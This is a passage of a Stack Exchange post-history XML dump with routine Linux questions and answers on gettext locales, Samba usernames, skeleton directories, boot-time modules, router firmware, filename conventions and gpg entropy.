  <row Id="17042" PostHistoryTypeId="2" PostId="7339" RevisionGUID="78606e20-8322-4d91-ad82-967f5e9d4b4d" CreationDate="2009-07-03T19:06:00.653" UserDisplayName="Izzy" Text="Might this be because Spanish is spoken in many different countries and may have variations and quirks between dialects?  Same as en_US, en_CA, or en_GB etc.  &#xD;&#xA;&#xD;&#xA;In fact, here are your options - I think you can guess most of the countries (AR=Argentina, BO=Bolivia, CL=Chile etc)&#xD;&#xA;&#xD;&#xA;    es_AR&#xD;&#xA;    es_AR.iso88591&#xD;&#xA;    es_AR.utf8&#xD;&#xA;    es_BO&#xD;&#xA;    es_BO.iso88591&#xD;&#xA;    es_BO.utf8&#xD;&#xA;    es_CL&#xD;&#xA;    es_CL.iso88591&#xD;&#xA;    es_CL.utf8&#xD;&#xA;    es_CO&#xD;&#xA;    es_CO.iso88591&#xD;&#xA;    es_CO.utf8&#xD;&#xA;    es_CR&#xD;&#xA;    es_CR.iso88591&#xD;&#xA;    es_CR.utf8&#xD;&#xA;    es_DO&#xD;&#xA;    es_DO.iso88591&#xD;&#xA;    es_DO.utf8&#xD;&#xA;    es_EC&#xD;&#xA;    es_EC.iso88591&#xD;&#xA;    es_EC.utf8&#xD;&#xA;    es_ES&#xD;&#xA;    es_ES@euro&#xD;&#xA;    es_ES.iso88591&#xD;&#xA;    es_ES.iso885915@euro&#xD;&#xA;    es_ES.utf8&#xD;&#xA;    es_ES.utf8@euro&#xD;&#xA;    es_GT&#xD;&#xA;    es_GT.iso88591&#xD;&#xA;    es_GT.utf8&#xD;&#xA;    es_HN&#xD;&#xA;    es_HN.iso88591&#xD;&#xA;    es_HN.utf8&#xD;&#xA;    es_MX&#xD;&#xA;    es_MX.iso88591&#xD;&#xA;    es_MX.utf8&#xD;&#xA;    es_NI&#xD;&#xA;    es_NI.iso88591&#xD;&#xA;    es_NI.utf8&#xD;&#xA;    es_PA&#xD;&#xA;    es_PA.iso88591&#xD;&#xA;    es_PA.utf8&#xD;&#xA;    es_PE&#xD;&#xA;    es_PE.iso88591&#xD;&#xA;    es_PE.utf8&#xD;&#xA;    es_PR&#xD;&#xA;    es_PR.iso88591&#xD;&#xA;    es_PR.utf8&#xD;&#xA;    es_PY&#xD;&#xA;    es_PY.iso88591&#xD;&#xA;    es_PY.utf8&#xD;&#xA;    es_SV&#xD;&#xA;    es_SV.iso88591&#xD;&#xA;    es_SV.utf8&#xD;&#xA;    es_US&#xD;&#xA;    es_US.iso88591&#xD;&#xA;    es_US.utf8&#xD;&#xA;    es_UY&#xD;&#xA;    es_UY.iso88591&#xD;&#xA;    es_UY.utf8&#xD;&#xA;    es_VE&#xD;&#xA;    es_VE.iso88591&#xD;&#xA;    es_VE.utf8" />
  <row Id="17043" PostHistoryTypeId="2" PostId="7340" RevisionGUID="b7025bba-d830-486b-993c-cbf9ab570e5a" CreationDate="2009-07-10T20:04:02.130" UserId="4708" Text="The locale you use must be generated in the system. Use &quot;locale -a&quot; to see all generated locales.   Locale source files must be present under /usr/share/i18n/locales/, and as far as I can see, all are of type 'language_COUNTRY'. If you really must use 'es' locale, you can prepare necessary files, you can modify /etc/locale.gen to include 'es' and run locale-gen to generate it. Otherwise, use an 'es' locale with a country." />
  <row Id="17044" PostHistoryTypeId="2" PostId="7341" RevisionGUID="10394274-d95e-475c-8ded-19e8989d9011" CreationDate="2009-07-11T00:59:51.623" UserDisplayName="Zac Thompson" Text="Wikipedia is probably not the best reference for stuff like this.  It usually has very simple examples that may not be widely applicable, constructed for understanding concepts more than for practical considerations.&#xD;&#xA;&#xD;&#xA;Why not use gnu's own documentation?&#xD;&#xA;&#xD;&#xA;http://www.gnu.org/software/gettext/manual/gettext.html#Setting-the-POSIX-Locale&#xD;&#xA;&#xD;&#xA;You can set LANGUAGE to &quot;es&quot; (or even &quot;es:fr:en&quot; for a priority list), but LANG would still need to be set to es_MX or something like that.  The docs explain it fairly clearly." />
  <row Id="17045" PostHistoryTypeId="2" PostId="7337" RevisionGUID="79f54392-febb-4531-80c1-3c9351b5fd28" CreationDate="2009-07-03T18:58:41.530" UserId="3999" Text="[Wikipedia entry for GNU gettext][1] shows an example where the locale is just the lanuage, &quot;fr&quot;. Whereas the 'i18n gettext() “hello world” example' in SO has the locale value with both the language and country, &quot;`es_MX`&quot;.&#xD;&#xA;&#xD;&#xA;I have modified the &quot;`es_MX`&quot; example to use just the lanuage, &quot;es&quot;. This covers making an &quot;es&quot; rather than &quot;'es_MX'&quot; message catalog and invoking the program with environment variable LANG set to &quot;es&quot;.But this produces the English text rather the expected Spanish. &#xD;&#xA;&#xD;&#xA;    cat &gt;hellogt.cxx &lt;&lt;EOF&#xD;&#xA;    // hellogt.cxx&#xD;&#xA;    #include &lt;libintl.h&gt;&#xD;&#xA;    #include &lt;locale.h&gt;&#xD;&#xA;    #include &lt;iostream&gt;&#xD;&#xA;    int main (){&#xD;&#xA;        setlocale(LC_ALL, &quot;&quot;);&#xD;&#xA;        bindtextdomain(&quot;hellogt&quot;, &quot;.&quot;);&#xD;&#xA;        textdomain( &quot;hellogt&quot;);&#xD;&#xA;        std::cout &lt;&lt; gettext(&quot;hello, world!&quot;) &lt;&lt; std::endl;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    g++ -ohellogt hellogt.cxx&#xD;&#xA;    xgettext -d hellogt -o hellogt.pot hellogt.cxx&#xD;&#xA;    msginit --no-translator -l es -o hellogt_spanish.po -i hellogt.pot&#xD;&#xA;    sed --in-place hellogt_spanish.po --expression='/#: /,$ s/&quot;&quot;/&quot;hola mundo&quot;/'&#xD;&#xA;    sed --in-place hellogt_spanish.po --expression='s/PACKAGE VERSION/hellogt 1.0/'&#xD;&#xA;    mkdir -p ./es.utf8/LC_MESSAGES&#xD;&#xA;    msgfmt -c -v -o ./es.utf8/LC_MESSAGES/hellogt.mo hellogt_spanish.po&#xD;&#xA;    LANG=es.utf8 ./hellogt&#xD;&#xA;&#xD;&#xA;According to [Controlling your locale with environment variables][3]:&#xD;&#xA;&#xD;&#xA;&gt; environment variable, LANGUAGE, which&#xD;&#xA;&gt; is used only by GNU gettext ... If&#xD;&#xA;&gt; defined, LANGUAGE takes precedence&#xD;&#xA;&gt; over LC_ALL, LC_MESSAGES, and LANG.&#xD;&#xA;&#xD;&#xA;    LANGUAGE=es.utf8 ./hellogt&#xD;&#xA;&#xD;&#xA;produces the expected Spanish text rather than English.&#xD;&#xA;&#xD;&#xA;But this does not explain why &quot;LANG=es&quot; does not work.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Msgfmt#Programming&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1003360/complete-c-i18n-gettext-hello-world-example/1033337#1033337&#xD;&#xA;  [3]: http://www.linux.com/archive/feature/53781&#xD;&#xA;" />
  <row Id="17046" PostHistoryTypeId="1" PostId="7337" RevisionGUID="79f54392-febb-4531-80c1-3c9351b5fd28" CreationDate="2009-07-03T18:58:41.530" UserId="3999" Text="Why does locale es_MX work but not es?" />
  <row Id="17047" PostHistoryTypeId="3" PostId="7337" RevisionGUID="79f54392-febb-4531-80c1-3c9351b5fd28" CreationDate="2009-07-03T18:58:41.530" UserId="3999" Text="élinuxàélocaleàécççà" />
  <row Id="17048" PostHistoryTypeId="17" PostId="7337" RevisionGUID="16eeb98d-a973-4387-ac44-2cbe8f51c99c" CreationDate="2011-02-13T06:04:50.907" UserId="-1" Comment="from http://serverfault.com/questions/35672/why-does-locale-es-mx-work-but-not-es" Text="" />
  <row Id="17049" PostHistoryTypeId="2" PostId="7342" RevisionGUID="ffc466d8-29ee-451b-bef1-643704f4f26c" CreationDate="2010-02-07T18:17:38.230" UserId="3999" Text="When mounting a Samba share the user name is defaulting to the user name from the client machine rather than the &quot;User Name&quot; field from the earlier &quot;Connect to Server&quot; dialogue.&#xD;&#xA;&#xD;&#xA;Accessing a Samba share over ssh from Linux with Nautilus were the client user name is &quot;lfm&quot; and the user name on the server system is &quot;lastfirstmiddle&quot;:&#xD;&#xA;&#xD;&#xA;    $ who | awk '{print $1}'&#xD;&#xA;    lfm&#xD;&#xA;    lfm&#xD;&#xA;    $ sudo ssh lastfirstmiddle@example.com -L 445:samba.example.com:445 -L 139:samba.example.com:139 -f -N&#xD;&#xA;    [sudo] password for lfm: &#xD;&#xA;    lastfirstmiddle@example.com's password:&#xD;&#xA;    $ nautilus&#xD;&#xA;&#xD;&#xA;The user home share does not exhibit the problem.&#xD;&#xA;The password dialoge is using the user name as specified in the &quot;Connect to Server&quot; dialogue as expected:&#xD;&#xA;&#xD;&#xA;    lfm - File Brower&#xD;&#xA;    Location: [/home/lfm]&#xD;&#xA;    File&gt;Connect To Server...&gt;&#xD;&#xA;&#xD;&#xA;    Connect To Server&#xD;&#xA;    Service type: [Windows Share]&#xD;&#xA;    Server: [localhost]&#xD;&#xA;    Share: [lastfirstmiddle]&#xD;&#xA;    User Name: [lastfirstmiddle]&#xD;&#xA;    Domain Name: [example-com]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    Password required for share lastfirstmiddle on localhost&#xD;&#xA;    [x]Forget password immediately&#xD;&#xA;    Password: [*******]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    lastfirstmiddle on localhost - File Browser&#xD;&#xA;    Location: [smb://example-com;lastfirstmiddle@localhost/lastfirstmiddle/]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;Using the &quot;Connect to Server&quot; dialogue one can get a list of &quot;Windows Shares&quot; by leaving&#xD;&#xA;the &quot;Share&quot; field blank.&#xD;&#xA;&#xD;&#xA;    lastfirstmiddle on localhost - File Browser&#xD;&#xA;    File&gt;Connect To Server...&gt;&#xD;&#xA;&#xD;&#xA;    Connect To Server&#xD;&#xA;    Service type: [Windows Share]&#xD;&#xA;    Server: [localhost]&#xD;&#xA;    Share: []&#xD;&#xA;    User Name: [lastfirstmiddle]&#xD;&#xA;    Domain Name: [example-com]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    Password required for share lastfirstmiddle on localhost&#xD;&#xA;    [x]Forget password immediately&#xD;&#xA;    Password: [*******]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;    &#xD;&#xA;    On localhost - File Brower&#xD;&#xA;    Location: [smb://localhost/]&#xD;&#xA;&#xD;&#xA;Then select a share and &quot;Open with Open Folder&quot; produces the &quot;Connect to Server&quot; dialogue which unlike the previous case defaults the &quot;User name&quot; to the user on the client system.&#xD;&#xA;It does not pick up the value used in the &quot;Connect to Server&quot; dialogue that produced the list of shares.&#xD;&#xA;&#xD;&#xA;    On localhost - File Brower&#xD;&#xA;    Location: [smb://localhost/]&#xD;&#xA;    ----------- ---- ----    -----&#xD;&#xA;    Name        Size Type    Date&#xD;&#xA;    ----------- ---- ----    -----&#xD;&#xA;    AShare      --   Folder Unkown&#xD;&#xA;    BShare      --   Folder Unkown&#xD;&#xA;    CShare      --   Folder Unkown&#xD;&#xA;    {{XShare    --   Folder Unkown}}&#xD;&#xA;    YShare      --   Folder Unkown&#xD;&#xA;    ZShare      --   Folder Unkown&#xD;&#xA;    File&gt;Open with Open Folder&gt;&#xD;&#xA;&#xD;&#xA;One can use &quot;Connect to Server&quot; and specify a &quot;Bookmark&quot; which can be used later to mount a share without having to compete the &quot;Connect to Server&quot; dialogue each time. To have access to all six shares listed above (ABCXYZ) one would need to create six bookmarks. This might be OK for six shares but if there are dozens of shares this would be a bit obnoxious.&#xD;&#xA;&#xD;&#xA;Is there a way to change the default user name to something other than the client system's user name?&#xD;&#xA;" />
  <row Id="17050" PostHistoryTypeId="1" PostId="7342" RevisionGUID="ffc466d8-29ee-451b-bef1-643704f4f26c" CreationDate="2010-02-07T18:17:38.230" UserId="3999" Text="Default username for Samba share that is not the user name on the client system." />
  <row Id="17051" PostHistoryTypeId="3" PostId="7342" RevisionGUID="ffc466d8-29ee-451b-bef1-643704f4f26c" CreationDate="2010-02-07T18:17:38.230" UserId="3999" Text="élinuxàésambaàédefaultsàénautilusà" />
  <row Id="17052" PostHistoryTypeId="17" PostId="7342" RevisionGUID="52035091-348a-4625-8d58-7012eadf3830" CreationDate="2011-02-13T06:06:23.307" UserId="-1" Comment="from http://serverfault.com/questions/110432/default-username-for-samba-share-that-is-not-the-user-name-on-the-client-system" Text="" />
  <row Id="17053" PostHistoryTypeId="2" PostId="7343" RevisionGUID="b87cff6f-03bc-4552-9d3c-afd41ec7c8c1" CreationDate="2011-02-13T06:55:30.870" UserId="1569" Text="After looking further, I found that the keycode set as Mode_switch actually didn't correspond to my Alt_R key as I intended (I changed keyboards a while ago, but didn't notice this until the upgrade). Setting the keycode to the correct key fixed the problem." />
  <row Id="17054" PostHistoryTypeId="25" PostId="7279" RevisionGUID="3ddf5630-348a-45be-8b05-8a2336cb46f4" CreationDate="2011-02-13T08:22:43.550" Comment="http://twitter.com/#!/StackUnix/status/36701790766370816" />
  <row Id="17055" PostHistoryTypeId="17" PostId="7345" RevisionGUID="d885ceaa-cc95-4fce-94d8-0ff89c4f5063" CreationDate="2011-02-13T08:34:45.050" UserId="-1" Comment="from http://serverfault.com/questions/195500/in-new-userss-home-directory-create-sub-directory-with-a-specific-group-and-perm/195513#195513" Text="" />
  <row Id="17056" PostHistoryTypeId="2" PostId="7345" RevisionGUID="88be873f-aed5-4dd0-8ec6-ad6b26c90511" CreationDate="2010-10-27T20:21:59.493" UserDisplayName="Erik" Text="You could add an if statement to the .bash_profile script in /etc/skel that will check if the folder exists. If it doesn't exist it will create it and set the permissions.&#xD;&#xA;&#xD;&#xA;The first time a new user logs in the folder will be created." />
  <row Id="17057" PostHistoryTypeId="2" PostId="7344" RevisionGUID="507f4d09-21b8-432a-b60a-5d35d36fb179" CreationDate="2010-10-27T19:55:31.933" UserId="3999" Text="Linux will copy the the contents of `\etc\skel` when a new user is created. I want to have a sub-directory in each user's home directory, `MyStevedore`. I want this directory to have the owner be the new user and the group to be the group `stevedore` with the permissions `drwxrwxr-x`.&#xD;&#xA;" />
  <row Id="17058" PostHistoryTypeId="1" PostId="7344" RevisionGUID="507f4d09-21b8-432a-b60a-5d35d36fb179" CreationDate="2010-10-27T19:55:31.933" UserId="3999" Text="In new users's home directory create sub-directory with a specific group and permissions." />
  <row Id="17059" PostHistoryTypeId="3" PostId="7344" RevisionGUID="507f4d09-21b8-432a-b60a-5d35d36fb179" CreationDate="2010-10-27T19:55:31.933" UserId="3999" Text="élinuxàédebianà" />
  <row Id="17060" PostHistoryTypeId="17" PostId="7344" RevisionGUID="b3c98685-9534-4188-b603-4ba2a819d844" CreationDate="2011-02-13T08:34:45.050" UserId="-1" Comment="from http://serverfault.com/questions/195500/in-new-userss-home-directory-create-sub-directory-with-a-specific-group-and-perm" Text="" />
  <row Id="17061" PostHistoryTypeId="2" PostId="7346" RevisionGUID="1c4e2d57-88dc-4b25-8746-07987997f4de" CreationDate="2011-02-13T11:04:34.710" UserId="4738" Text="I'm trying to load a program I wrote, on booting. the program is also a module.ko and a small bash script. for the module I tried by doing depmod mymodule.ko and modprobe -a and massing around with modprob libaries and .conf files without any success.&#xD;&#xA;&#xD;&#xA;So, I warped it all (module and my executed program) in a bash. I tried to load with on booting with rc.d. I failed this one too cause I think rc.d run only executed files and not bash. If I'm right how do I change my bash file to executed one? And install it in rc.d tool? Is my strategy right?&#xD;&#xA;&#xD;&#xA;Thank you all in advance :)&#xD;&#xA;&#xD;&#xA;*working on Linux centos&#xD;&#xA;" />
  <row Id="17062" PostHistoryTypeId="1" PostId="7346" RevisionGUID="1c4e2d57-88dc-4b25-8746-07987997f4de" CreationDate="2011-02-13T11:04:34.710" UserId="4738" Text="load program/module on booting" />
  <row Id="17063" PostHistoryTypeId="3" PostId="7346" RevisionGUID="1c4e2d57-88dc-4b25-8746-07987997f4de" CreationDate="2011-02-13T11:04:34.710" UserId="4738" Text="ébashàébootöloaderàércàémodprobeàémoduleà" />
  <row Id="17064" PostHistoryTypeId="25" PostId="7346" RevisionGUID="16d9c42b-0704-4e25-a834-ac36d91f360e" CreationDate="2011-02-13T11:22:43.763" Comment="http://twitter.com/#!/StackUnix/status/36747090344280065" />
  <row Id="17065" PostHistoryTypeId="2" PostId="7347" RevisionGUID="bad58dac-45e8-4d8c-868b-183ccb52ed92" CreationDate="2011-02-13T11:40:03.990" UserId="1290" Text="Hi, I'm planning on getting a D-Link DIR-600 to be used as a WLAN access point, and for WEP/WPA certificate management.&#xD;&#xA;&#xD;&#xA;I know it works with [DD-WRT][1], and [OpenWRT][2], but not [Tomato][3]. Now, I've been looking what firmware I can put on that device, prior to getting it. Tomato is my favorite option, but since it doesn't work with the router, I'm getting second thoughts about getting it at all.&#xD;&#xA;&#xD;&#xA;If you happen to have a better suggestion for a router, please do so, but I'd like to stay in the same price range as the DIR-600 (around 25€).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dd-wrt.com/site/index&#xD;&#xA;  [2]: http://openwrt.org/&#xD;&#xA;  [3]: http://www.polarcloud.com/tomato" />
  <row Id="17066" PostHistoryTypeId="1" PostId="7347" RevisionGUID="bad58dac-45e8-4d8c-868b-183ccb52ed92" CreationDate="2011-02-13T11:40:03.990" UserId="1290" Text="What firmware works with a D-Link DIR-600?" />
  <row Id="17067" PostHistoryTypeId="3" PostId="7347" RevisionGUID="bad58dac-45e8-4d8c-868b-183ccb52ed92" CreationDate="2011-02-13T11:40:03.990" UserId="1290" Text="éopenwrtàéfirmwareàétomatoàéddöwrtàédirö600à" />
  <row Id="17068" PostHistoryTypeId="2" PostId="7348" RevisionGUID="b772f1fb-7a62-419e-8486-7dcdb0a12ace" CreationDate="2011-02-13T11:42:51.427" UserId="1290" Text="You could install [htop] and see if it gives you a better overview.&#xD;&#xA;htop supports filtering by user as well.&#xD;&#xA;&#xD;&#xA;  [htop]: http://htop.sourceforge.net/" />
  <row Id="17069" PostHistoryTypeId="2" PostId="7349" RevisionGUID="00cf8e42-15ab-4775-ae6d-f52e8d96c75e" CreationDate="2011-02-13T10:29:26.217" UserDisplayName="Ahsan" Text="Hi there, I just installed 32-bit Ubuntu Maverick 10 Stable everything is working fine, The system spec's are as below:&#xD;&#xA;&#xD;&#xA;3 Ghz Intel DG101&#xD;&#xA;512 MB RAM&#xD;&#xA;80 GB HDD&#xD;&#xA;256 MB Ati Radeon Xpress&#xD;&#xA;&#xD;&#xA;the only problem is when the Youtube videos are maximized they consume allot of CPU plus video bacomes slower and choppy..... What to do? I have FireFox and installed the FlashPlayer 10 also. But no luck...Any Ideas how to fix? The videos work absolutely good in XP in same computer..... I have tried Google Chrome also but no luck in that also.... Any answer 'll be appreciated." />
  <row Id="17070" PostHistoryTypeId="1" PostId="7349" RevisionGUID="00cf8e42-15ab-4775-ae6d-f52e8d96c75e" CreationDate="2011-02-13T10:29:26.217" UserDisplayName="Ahsan" Text="Youtube Videos become Choppy When Maximised [Ubuntu Maverick]" />
  <row Id="17071" PostHistoryTypeId="3" PostId="7349" RevisionGUID="00cf8e42-15ab-4775-ae6d-f52e8d96c75e" CreationDate="2011-02-13T10:29:26.217" UserDisplayName="Ahsan" Text="évideoàéubuntuàéyoutubeà" />
  <row Id="17072" PostHistoryTypeId="17" PostId="7349" RevisionGUID="b736619e-0283-4cf8-9ccd-55fe903d8c9e" CreationDate="2011-02-13T11:44:35.027" UserId="-1" Comment="from http://stackoverflow.com/questions/4983652/youtube-videos-become-choppy-when-maximised-ubuntu-maverick" Text="" />
  <row Id="17073" PostHistoryTypeId="2" PostId="7350" RevisionGUID="258b4ee3-d136-477c-93f6-fe703c8e4bd8" CreationDate="2011-02-13T11:51:01.557" UserId="1290" Text="Try [TinyCore] (or MicroCore even).&#xD;&#xA;&#xD;&#xA;TinyCore is at 10MB (ISO) and MicroCore at 6MB. TinyCore has X and a minimal GUI, while MicroCore is text mode only. I use it on a 12 year old laptop with 199MHz and 32MB RAM. Works perfect, even with WLAN, etc.&#xD;&#xA;&#xD;&#xA;TinyCore is made with customization abilities in mind. You can easily fork your own minimal dristro from TinyCore.&#xD;&#xA;To facilitate this, there's even a [remastering how-to][1] in the Wiki.&#xD;&#xA;&#xD;&#xA;  [TinyCore]: http://www.tinycorelinux.com/&#xD;&#xA;  [1]: http://wiki.tinycorelinux.com/Remastering" />
  <row Id="17074" PostHistoryTypeId="2" PostId="7351" RevisionGUID="66e8f264-b322-4923-b01a-d59e2e7a5e45" CreationDate="2011-02-13T12:32:03.550" UserId="4740" Text="Hi.&#xD;&#xA;&#xD;&#xA;I was wondering what is the naming convention for files in Unix?&#xD;&#xA;&#xD;&#xA;I am not sure about this, but I think there is perhaps a universal naming convention that one should follow?&#xD;&#xA;&#xD;&#xA;For example, I want to name a file say: `backup` with `part 2` and `random` &#xD;&#xA;&#xD;&#xA;Should I do it like this:&#xD;&#xA;&#xD;&#xA;`backup_part2_random`&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;`backup-part2-random`&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;`backup.part2.random`&#xD;&#xA;&#xD;&#xA;I hope the question is clear. Basically, I want to choose a format that conforms to the Unix philosophy. " />
  <row Id="17075" PostHistoryTypeId="1" PostId="7351" RevisionGUID="66e8f264-b322-4923-b01a-d59e2e7a5e45" CreationDate="2011-02-13T12:32:03.550" UserId="4740" Text="Unix file naming convention" />
  <row Id="17076" PostHistoryTypeId="3" PostId="7351" RevisionGUID="66e8f264-b322-4923-b01a-d59e2e7a5e45" CreationDate="2011-02-13T12:32:03.550" UserId="4740" Text="éunixàéfilenamesà" />
  <row Id="17077" PostHistoryTypeId="2" PostId="7352" RevisionGUID="fe54615e-cf91-42ff-b055-c5bba1f00d70" CreationDate="2011-02-13T13:48:51.547" UserId="3852" Text="For your module, normally you'd normally put that in /etc/modprobe.conf but you can also put it in [/etc/rc.modules][1]. &#xD;&#xA;&#xD;&#xA;For your script, if you want to just execute it once when the server boots, it can be put in [/etc/rc.d/rc.local][2] (although it is also executed when changing run levels). If you're looking for a more complex service you can start and stop or run at various run levels, you want a [System V Init script][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-kernel-modules-persistant.html&#xD;&#xA;  [2]: http://centos.org/docs/5/html/Installation_Guide-en-US/s1-boot-init-shutdown-run-boot.html&#xD;&#xA;  [3]: https://fedoraproject.org/wiki/Packaging:SysVInitScript" />
  <row Id="17078" PostHistoryTypeId="2" PostId="7353" RevisionGUID="a65f8172-8413-4498-8258-c00cd15e14ad" CreationDate="2011-02-13T14:06:31.140" UserId="4741" Text="Characters you should not use in filenames:&#xD;&#xA;&#xD;&#xA;&gt; | ; , ! @ # $ ( ) &lt; &gt; / \ &quot; ' ` ~ { }&#xD;&#xA;&gt; [ ] = + &amp; ^ &lt;space&gt; &lt;tab&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Character delimiters you should use to make names easier to read:&#xD;&#xA;&#xD;&#xA;&gt; _ - . :&#xD;&#xA;&#xD;&#xA;(In some cases &quot;:&quot; has special meaning though)" />
  <row Id="17079" PostHistoryTypeId="2" PostId="7354" RevisionGUID="39985f8f-a16b-4ae5-95f9-e458850dcf46" CreationDate="2011-02-13T14:12:39.860" UserId="3886" Text="In unix filename is just a string, unlike DOS, where filename was composed from name and extension. So any of given filenames is completely acceptable.&#xD;&#xA;&#xD;&#xA;But many programs still use file suffixes beginning with dot to distinguish different file types, i.e. Apache Web Server uses suffixes to set correct MIME type in answer headers." />
  <row Id="17080" PostHistoryTypeId="25" PostId="7351" RevisionGUID="2ca30f1b-53ff-4b87-81c5-754accd1fa4e" CreationDate="2011-02-13T14:22:45.113" Comment="http://twitter.com/#!/StackUnix/status/36792394502377472" />
  <row Id="17081" PostHistoryTypeId="2" PostId="7355" RevisionGUID="3b81d41c-b311-46cd-baf0-4d32a591287f" CreationDate="2011-02-13T14:32:53.387" UserId="4194" Text="From what I remember of my old SysV days, cpio could handle dev files, but tar could not; this made cpio the 'raw' backup utility of choice before dump came around.  It was also easier to handle partial filesets and hard links so incremental backups were easier.  I think that GNU tar has caught up with cpio features so now it is just a matter of user comfortability.  Both cpio and tar should be installed by default." />
  <row Id="17082" PostHistoryTypeId="2" PostId="7356" RevisionGUID="573f814f-28b4-4482-93e7-1a6d070147f5" CreationDate="2011-02-13T14:41:54.290" UserId="2688" Text="**Far** more important that a particular convention is being consistent.  Pick a standard, and stick with it." />
  <row Id="17083" PostHistoryTypeId="2" PostId="7357" RevisionGUID="968722eb-491a-4d6e-95ac-dbd4a681096e" CreationDate="2011-02-13T14:54:03.553" UserId="688" Text="I accidentally set my keyboard type to US during installation, but it actually is UK type. How do I change it?&#xD;&#xA;&#xD;&#xA;[**note**] I use Debian Squeeze." />
  <row Id="17084" PostHistoryTypeId="1" PostId="7357" RevisionGUID="968722eb-491a-4d6e-95ac-dbd4a681096e" CreationDate="2011-02-13T14:54:03.553" UserId="688" Text="How to change keyboard keymap" />
  <row Id="17085" PostHistoryTypeId="3" PostId="7357" RevisionGUID="968722eb-491a-4d6e-95ac-dbd4a681096e" CreationDate="2011-02-13T14:54:03.553" UserId="688" Text="édebianàékeyboardà" />
  <row Id="17086" PostHistoryTypeId="2" PostId="7358" RevisionGUID="33037d5f-5865-4e5a-9877-373be199e970" CreationDate="2011-02-13T15:12:43.130" UserId="916" Text="I'm running NetBSD on a Xen VPS, and I'm trying to generate a `gpg` keypair. I've gotten most of the way there, but now I'm getting the following error message:&#xD;&#xA;&#xD;&#xA;    Not enough random bytes available.  Please do some other work to give the OS a chance to collect more entropy! (Need 300 more bytes)&#xD;&#xA;&#xD;&#xA;This has been the status for about 10 hours now, and I've been doing things like installing packages from source in another session.&#xD;&#xA;&#xD;&#xA;Is the process hung? Is this a known-issue of some sort? Can it really take *that* much effort to generate 300 bytes of entropy?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="17087" PostHistoryTypeId="1" PostId="7358" RevisionGUID="33037d5f-5865-4e5a-9877-373be199e970" CreationDate="2011-02-13T15:12:43.130" UserId="916" Text="How long should it take to generate 300 bytes of entropy on a VPS?" />
  <row Id="17088" PostHistoryTypeId="3" PostId="7358" RevisionGUID="33037d5f-5865-4e5a-9877-373be199e970" CreationDate="2011-02-13T15:12:43.130" UserId="916" Text="énetbsdàéxenàégpgà" />
  <row Id="17089" PostHistoryTypeId="2" PostId="7359" RevisionGUID="d79f65b9-12de-411f-b22a-69a0881b1e23" CreationDate="2011-02-13T15:22:38.773" UserId="4241" Text="It should not. I would try restarting the process. In addition to that, there is not so much you can do, in addition to digging to source code to see what is wrong.&#xD;&#xA;&#xD;&#xA;As you probably already know, if your server is completely empty, it is possible that generating random data takes long time. However, installing packages and poking around should be enough to fix that." />
  <row Id="17090" PostHistoryTypeId="6" PostId="7346" RevisionGUID="c1aa3a34-a109-45c4-b30e-b7d9bd1453cb" CreationDate="2011-02-13T15:38:13.590" UserId="885" Comment="edited tags" Text="élinuxàécentosàébootàéinitöscriptàémoduleà" />
  <row Id="17091" PostHistoryTypeId="5" PostId="7344" RevisionGUID="d264d76b-673c-4509-8ef0-3f10cfe093fc" CreationDate="2011-02-13T15:53:45.040" UserId="885" Comment="edited body; edited tags" Text="Linux will copy the the contents of `/etc/skel` when a new user is created. I want to have a sub-directory in each user's home directory, `MyStevedore`. I want this directory to have the owner be the new user and the group to be the group `stevedore` with the permissions `drwxrwxr-x`.&#xD;&#xA;" />
  <row Id="17092" PostHistoryTypeId="6" PostId="7344" RevisionGUID="d264d76b-673c-4509-8ef0-3f10cfe093fc" CreationDate="2011-02-13T15:53:45.040" UserId="885" Comment="edited body; edited tags" Text="élinuxàédebianàéusersà" />
  <row Id="17093" PostHistoryTypeId="2" PostId="7360" RevisionGUID="060059a4-86c9-4101-aa67-6235efe758bf" CreationDate="2011-02-13T16:03:14.497" UserId="885" Text="Assuming you're using `adduser` to create the user, it will do most of the job, assuming you've created a directory `/etc/skel/MyStevedore` with your desired permissions. However on most systems `~/MyStevedore` will always belong to the user's primary group.&#xD;&#xA;&#xD;&#xA;On Debian and derivatives (including Ubuntu), once `adduser` has created the user, it calls `/usr/local/sbin/adduser.local` if it exists. You can use it to complete the job.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    username=$1 uid=$2 gid=$3 home_dir=$4&#xD;&#xA;    if [ -d &quot;$home_dir/MyStevedore&quot; ]; then&#xD;&#xA;      chgrp stevedore &quot;$home_dir/MyStevedore&quot;&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="17094" PostHistoryTypeId="6" PostId="7337" RevisionGUID="027695c9-7873-4b45-8207-c531dffaf772" CreationDate="2011-02-13T16:05:28.237" UserId="885" Comment="edited tags" Text="élinuxàélocaleà" />
  <row Id="17095" PostHistoryTypeId="2" PostId="7361" RevisionGUID="f300384c-57cd-4103-8dc7-e14732e20ced" CreationDate="2011-02-13T16:09:57.943" UserId="4520" Text="Stick to alphanumeric filenames. Avoid spaces or replace spaces with underscores (_).  Limit punctuation in file names to periods (.), underscores (_), and hyphens (-).  Generally filenames are lowercase, but I use CamelCase when I have multiple words in the filename.&#xD;&#xA;&#xD;&#xA;Use extensions which indicate the type of file.  Programs do not need extensions as the execute bit is used to indicate programs, and the shells know how to run programs of various types.  It is common but not required to (.sh) for shell scripts, and (.pl) for perl scripts. The Windows executable extensions .bat, .com, and .exe indicate Windows executables on Unix. &#xD;&#xA;&#xD;&#xA;Pick a standard and stick to it.  But it won't break things if you avoid it.  &#xD;&#xA;&#xD;&#xA;Hidden (or dot) files have names starting with a period.  These normally don't show up in directory listings.  Use 'ls -a' to include the dot files in the 